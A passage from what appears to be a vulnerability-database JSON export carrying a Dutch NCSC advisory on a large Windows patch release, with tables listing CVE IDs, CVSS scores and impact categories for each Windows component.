\n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:31.512681Z"}, {"uuid": "2fae8ff5-d1a3-4eaa-b560-efdafec45eb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54127", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van 